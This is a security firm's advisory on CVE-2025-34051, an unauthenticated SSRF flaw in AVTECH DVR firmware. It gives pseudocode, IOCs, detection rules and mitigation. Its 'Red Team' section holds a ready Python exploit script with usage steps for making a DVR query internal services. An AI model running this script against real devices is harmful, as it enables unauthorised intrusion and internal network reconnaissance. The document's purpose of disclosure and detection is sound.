CVE-2025-34051

Executive Summary

CVE-2025-34051 is a critical Server-Side Request Forgery (SSRF) vulnerability affecting multiple firmware versions of AVTECH DVR devices. The flaw resides in the /cgi-bin/nobody/Search.cgi?action=cgi_query endpoint, which is exposed without authentication. An attacker can manipulate the ip, port, and queryb64str parameters to force the DVR to make arbitrary HTTP requests to internal or external systems. This can lead to data exfiltration, internal network reconnaissance, and potential pivot attacks. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as high severity due to the lack of authentication and the potential for internal network compromise. No official patch is available, and the vendor has not responded.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded DVR devices.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the DVR itself.
• Confidentiality (C): High (H) – Sensitive data from internal services can be exposed.
• Integrity (I): Low (L) – Limited ability to modify data via SSRF.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: High. The SSRF allows attackers to bypass network segmentation and interact with internal services, potentially leading to lateral movement.

Deep Dive & Mechanics

The vulnerability exists in the Search.cgi CGI script, which is used for network discovery and device search. The endpoint /cgi-bin/nobody/Search.cgi?action=cgi_query accepts three parameters:

• ip: Target IP address for the HTTP request.
• port: Target port number.
• queryb64str: Base64-encoded query string to be sent.

The DVR does not validate or sanitize these parameters, allowing an attacker to craft requests to arbitrary internal IP addresses (e.g., 127.0.0.1, 10.0.0.1) and ports. The queryb64str parameter is decoded and sent as the HTTP request body, enabling interaction with internal services such as databases, APIs, or other DVRs.

Attack Flow:

1. Attacker sends a GET request to the vulnerable endpoint with malicious parameters.
2. The DVR initiates an HTTP connection to the specified ip:port.
3. The DVR sends the decoded queryb64str as the request body.
4. The response from the internal service is returned to the attacker (if reflected) or used for further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Pseudocode for Search.cgi
void handle_cgi_query() {
    char *ip = get_param("ip");
    char *port = get_param("port");
    char *queryb64 = get_param("queryb64str");
    char *query = base64_decode(queryb64);
    
    // No validation of ip or port
    int sock = connect(ip, port);
    send(sock, query);
    // Response sent back to attacker
}

Patched Code (Hypothetical):

void handle_cgi_query() {
    char *ip = get_param("ip");
    char *port = get_param("port");
    char *queryb64 = get_param("queryb64str");
    
    // Validate IP is not private or loopback
    if (is_private_ip(ip) || is_loopback(ip)) {
        return_error("Invalid target");
    }
    // Validate port range
    if (atoi(port) < 1 || atoi(port) > 65535) {
        return_error("Invalid port");
    }
    char *query = base64_decode(queryb64);
    int sock = connect(ip, port);
    send(sock, query);
}

Exploitation & Lab Setup

Red Team

Exploit Script (Python):

import requests
import base64

target = "http://<DVR_IP>/cgi-bin/nobody/Search.cgi?action=cgi_query"
internal_ip = "10.0.0.1"  # Example internal target
port = "80"
query = "GET /internal/api HTTP/1.1\r\nHost: internal\r\n\r\n"
query_b64 = base64.b64encode(query.encode()).decode()

params = {
    "ip": internal_ip,
    "port": port,
    "queryb64str": query_b64
}

response = requests.get(target, params=params)
print(response.text)

Usage:

1. Replace <DVR_IP> with the target DVR's IP address.
2. Modify internal_ip and port to target internal services.
3. Encode the desired HTTP request in query and base64 encode it.
4. Run the script to receive the response from the internal service.

Blue Team

Detection Steps:

1. Monitor for requests to /cgi-bin/nobody/Search.cgi with action=cgi_query and non-standard ip or port parameters.
2. Look for base64-encoded strings in queryb64str that decode to HTTP requests targeting internal IPs.
3. Alert on outbound connections from DVR devices to internal IPs that are not part of normal operation.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /cgi-bin/nobody/Search.cgi?action=cgi_query with ip parameter set to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8).
  • Base64-encoded strings in queryb64str that decode to HTTP requests.
  • Outbound connections from DVR to internal IPs on unusual ports.

• File IOCs:

  • Log entries in DVR logs showing Search.cgi access with suspicious parameters.

• Behavioral IOCs:

  • DVR making HTTP requests to internal services without prior configuration.

Detection Engineering

YARA Rule

rule CVE_2025_34051_SSRF_AVTECH {
    meta:
        description = "Detects SSRF attempts against AVTECH DVR devices"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-34051"
    strings:
        $cgi = "/cgi-bin/nobody/Search.cgi?action=cgi_query" nocase
        $ip_param = "ip=" nocase
        $port_param = "port=" nocase
        $queryb64 = "queryb64str=" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-34051 SSRF Attempt on AVTECH DVR
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to AVTECH DVR Search.cgi with SSRF parameters
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/cgi-bin/nobody/Search.cgi?action=cgi_query'
        cs-uri-query|contains|all:
            - 'ip='
            - 'port='
            - 'queryb64str='
    condition: selection
falsepositives:
    - Legitimate network scanning by admin
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-34051 AVTECH DVR SSRF Attempt"; flow:to_server; content:"/cgi-bin/nobody/Search.cgi?action=cgi_query"; http_uri; content:"ip="; http_uri; content:"port="; http_uri; content:"queryb64str="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Restrict network access to the DVR's web interface to trusted IPs only.
   • Disable the /cgi-bin/nobody/Search.cgi endpoint if not required.
   • Implement a web application firewall (WAF) rule to block requests with ip, port, and queryb64str parameters.

2. Long-term Fix:

   • Contact AVTECH for a firmware patch. If unavailable, consider replacing the device.
   • Implement input validation on the DVR firmware to block private IP ranges and restrict ports.

3. Detection:

   • Deploy the provided YARA, Sigma, and Suricata rules to monitor for exploitation attempts.

Valters IT
Securing Digital Frontiers